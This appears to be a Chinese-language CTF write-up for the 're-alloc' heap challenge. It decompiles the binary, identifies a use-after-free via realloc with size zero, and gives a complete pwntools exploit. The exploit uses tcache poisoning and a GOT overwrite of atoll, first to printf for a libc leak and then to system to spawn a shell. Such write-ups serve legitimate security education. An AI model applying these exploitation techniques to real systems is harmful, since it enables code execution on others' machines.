1 程序分析
64 位,没开 PIE,libc 版本为 2.29
1 2 3 4 5 6 7 8 9 10 11
| (pwn) secreu@Vanilla:~/code/pwnable/re-alloc$ checksec --file=re-alloc [*] '/home/secreu/code/pwnable/re-alloc/re-alloc' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled Stripped: No (pwn) secreu@Vanilla:~/code/pwnable/re-alloc$ strings libc-9bb401974abeef59efcdd0ae35c5fc0ce63d3e7b.so | grep "Ubuntu GLIBC" GNU C Library (Ubuntu GLIBC 2.29-0ubuntu2) stable release version 2.29.
|
菜单题,提供了 4 个功能,其中主要有 3 个函数需要我们关注
allocate 函数提供分配和写入功能,最多允许同时控制 2 个堆块,堆块指针存放在 .bss 节 0x4040B0 位置,最多允许分配的大小为 0x78
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| int allocate() { _BYTE *v0; unsigned __int64 v2; unsigned __int64 size; void *v4;
printf("Index:"); v2 = read_long(); if ( v2 > 1 || heap[v2] ) { LODWORD(v0) = puts("Invalid !"); } else { printf("Size:"); size = read_long(); if ( size <= 0x78 ) { v4 = realloc(0LL, size); if ( v4 ) { heap[v2] = v4; printf("Data:"); v0 = (_BYTE *)(heap[v2] + read_input(heap[v2], size)); *v0 = 0; } else { LODWORD(v0) = puts("alloc error"); } } else { LODWORD(v0) = puts("Too large!"); } } return (int)v0; }
|
rfree 函数提供释放功能,这里清空了指针,不能 UAF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| int rfree() { void *v0; unsigned __int64 v2;
printf("Index:"); v2 = read_long(); if ( v2 > 1 ) { LODWORD(v0) = puts("Invalid !"); } else { realloc(*((void **)&heap + v2), 0LL); v0 = &heap; *((_QWORD *)&heap + v2) = 0LL; } return (int)v0; }
|
reallocate 函数提供修改堆块大小和重写入的功能,主要就是调用 realloc 函数去实现。注意这里没有检查 size 为 0 的情况,size 为 0 时 realloc 等价于 free,返回 0,reallocate 检测到 0 就直接返回了,所以存在 UAF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| int reallocate() { unsigned __int64 v1; unsigned __int64 size; void *v3;
printf("Index:"); v1 = read_long(); if ( v1 > 1 || !*((_QWORD *)&heap + v1) ) return puts("Invalid !"); printf("Size:"); size = read_long(); if ( size > 0x78 ) return puts("Too large!"); v3 = realloc(*((void **)&heap + v1), size); if ( !v3 ) return puts("alloc error"); *((_QWORD *)&heap + v1) = v3; printf("Data:"); return read_input(*((_QWORD *)&heap + v1), (unsigned int)size); }
|
2 漏洞利用
先准备好与程序交互的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| def alloc(index, size, data): io.sendlineafter(b'Your choice: ', b'1') io.sendafter(b'Index:', str(index).encode()) io.sendafter(b'Size:', str(size).encode()) io.sendafter(b'Data:', data)
def realloc(index, size, data): io.sendlineafter(b'Your choice: ', b'2') io.sendafter(b'Index:', str(index).encode()) io.sendafter(b'Size:', str(size).encode()) if data != b'': io.sendafter(b'Data:', data)
def free(index): io.sendlineafter(b'Your choice: ', b'3') io.sendafter(b'Index:', str(index).encode())
|
显然,我们要用这个 UAF 去修改 tcache bins 链表上的 next 指针,从而实现任意地址分配/写
2.1 任意地址分配/写
由于 realloc 没有检查目标堆块是否已经被释放(在 tcahce bins 上),我们可以通过输入和之前同样的 Size 实现对目标堆块的二次写
1 2 3 4
| alloc(0, 0x10, b'A' * 0x8) alloc(1, 0x10, b'A' * 0x8) realloc(1, 0, b'') realloc(1, 0x10, b'B' * 0x8)
|
例如上面的代码制造了 chunk_1 的 UAF,并再次调用 reallocate 将其中的 next 指针填满了 0x42

比如为了能够分配到 .bss 节上 0x404080 的位置,我们首先要 free 一个堆块,然后再构造一个 UAF 堆块,覆盖其 next 指针为目标地址 0x404080,再通过 2 次 allocate 才能拿到目标地址堆块
这里的第 1 次 allocate 拿到的是 UAF 堆块,此时我们已经有了上限 2 个的控制堆块,必须要再 free 掉至少 1 个才能继续 allocate。这 2 个控制堆块指针都是 UAF 堆块,直接 free 会造成 double free 而报错,虽然可以通过修改 key 字段绕过,但我们也不希望它再次被加入 tcache bins 原 size 的 链表。
此时可以利用 realloc 将其 size 扩大(紧邻 top chunk 可以直接被扩大),再 free,该 UAF 堆块就会被加入其他 size 的链表上,并且我们也将 0 号指针空出来了,能够继续 allocate
1 2 3 4 5 6 7 8
| alloc(0, 0x10, b'A' * 0x8) alloc(1, 0x10, b'A' * 0x8) free(0) realloc(1, 0, b'') realloc(1, 0x10, p64(0x404080)) alloc(0, 0x10, b'A' * 0x8) realloc(0, 0x20, b'A' * 0x8) free(0)
|

2.2 泄露 Libc
程序调用 read_long 函数读取我们输入的 Index 和 Size,这里使用了 atoll 将字符串转换成 64 位整型,我们可以利用 UAF 修改 next 指针为 GOT 表上 atoll 对应的表项,然后将其修改成我们想要的函数,例如 printf,而且字符串是我们输入的,就可以利用格式化字符串漏洞泄露地址
1 2 3 4 5 6 7 8 9
| __int64 read_long() { char nptr[24]; unsigned __int64 v2;
v2 = __readfsqword(0x28u); __read_chk(0LL, nptr, 16LL, 17LL); return atoll(nptr); }
|
所以我们选定目标地址为 elf.got['atoll'],构造上面的任意地址分配,将 elf.plt['printf'] 写入 elf.got['atoll']
1 2 3 4 5 6 7 8 9 10
| alloc(0, 0x10, b'A' * 0x8) alloc(1, 0x10, b'A' * 0x8) free(0) realloc(1, 0, b'') realloc(1, 0x10, p64(elf.got['atoll'])) alloc(0, 0x10, b'A' * 0x8) realloc(0, 0x20, b'A' * 0x8) free(0)
alloc(0, 0x10, p64(elf.plt['printf']))
|

之后再调用 atoll 其实就是调用 printf,然后我们可以利用提供的 rfree 功能去调用 atoll,它足够简单,只读取一个 Index,并且 printf 的返回值大于 1 就直接报错 “Invalid !” 退出
利用 free("%1$llx") 就等价于 printf("%1$llx"),将 1 号参数泄露出来,这里看到 7fff225edbd0,这其实就是 “%1$llx” 存放在栈上的位置
1 2 3 4 5 6 7 8
| [DEBUG] Sent 0x2 bytes: b'3\n' [DEBUG] Received 0x6 bytes: b'Index:' [DEBUG] Sent 0x6 bytes: b'%1$llx' [DEBUG] Received 0x10e bytes: 00000000 37 66 66 66 32 32 35 65 64 62 64 30 49 6e 76 61 │7fff│225e│dbd0│Inva│
|
继续尝试后面的参数,发现 “%3$llx” 对应 libc 上 __read_chk + 9 的位置,相对 libc 基地址偏移为 0x12E009
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| alloc(0, 0x10, b'A' * 0x8) alloc(1, 0x10, b'A' * 0x8) free(0) realloc(1, 0, b'') realloc(1, 0x10, p64(elf.got['atoll'])) alloc(0, 0x10, b'A' * 0x8) realloc(0, 0x20, b'A' * 0x8) free(0)
alloc(0, 0x10, p64(elf.plt['printf'])) free("%3$llx")
read_chk_9 = int(io.recv(12).decode(), 16) libc_base = read_chk_9 - 0x12E009 system_addr = libc_base + libc.sym['system'] log.info("libc_base: " + hex(libc_base)) log.info("system_addr: " + hex(system_addr)) ''' [DEBUG] Received 0x6 bytes: b'Index:' [DEBUG] Sent 0x6 bytes: b'%3$llx' [DEBUG] Received 0x10e bytes: 00000000 37 61 61 38 36 66 36 30 64 30 30 39 49 6e 76 61 │7aa8│6f60│d009│Inva│ ... [*] libc_base: 0x7aa86f4df000 [*] system_addr: 0x7aa86f531fd0 '''
|

这样我们就拿到了 libc 基址
2.3 获取 Shell
重复一遍之前操作,再改一次 atoll GOT 表项,将其改为 system,再 free("/bin/sh\x00") 即可拿到 shell
之前泄露 libc 时我们已经将 UAF 堆块释放到了 tcache bins 0x30 链上,我们只需要提前在上面先 free 一个堆块,就可以在该链上再构造一次任意地址分配。然后调用 reallocate 和 rfree 扩展 2 次大小并 free,将 2 个控制指针清空,就可以再 allocate 2 次了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| alloc(0, 0x20, b'A' * 0x8) free(0)
alloc(0, 0x10, b'A' * 0x8) alloc(1, 0x10, b'A' * 0x8) free(0) realloc(1, 0, b'') realloc(1, 0x10, p64(elf.got['atoll'])) alloc(0, 0x10, b'A' * 0x8) realloc(0, 0x20, b'A' * 0x8) free(0)
realloc(1, 0x20, p64(elf.got['atoll'])) alloc(0, 0x20, b'A' * 0x8) realloc(0, 0x30, b'A' * 0x8) free(0) realloc(1, 0x40, b'A' * 0x8) free(1)
|

然后要注意,泄露 libc 时已经将 atoll 改成了 printf,最后一次 allocate 输入的前 2 个参数含义如下:
printf("1") 返回值为 1,对应 Index 为 1
printf("%32c") 返回值为 32,对应 Size 为 0x20
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| def exploit(): alloc(0, 0x20, b'A' * 0x8) free(0)
alloc(0, 0x10, b'A' * 0x8) alloc(1, 0x10, b'A' * 0x8) free(0) realloc(1, 0, b'') realloc(1, 0x10, p64(elf.got['atoll'])) alloc(0, 0x10, b'A' * 0x8) realloc(0, 0x20, b'A' * 0x8) free(0)
realloc(1, 0x20, p64(elf.got['atoll'])) alloc(0, 0x20, b'A' * 0x8) realloc(0, 0x30, b'A' * 0x8) free(0) realloc(1, 0x40, b'A' * 0x8) free(1)
alloc(0, 0x10, p64(elf.plt['printf'])) free("%3$llx")
read_chk_9 = int(io.recv(12).decode(), 16) libc_base = read_chk_9 - 0x12E009 system_addr = libc_base + libc.sym['system'] log.info("libc_base: " + hex(libc_base)) log.info("system_addr: " + hex(system_addr))
alloc(1, "%32c", p64(system_addr)) free("/bin/sh\x00")
io.interactive()
|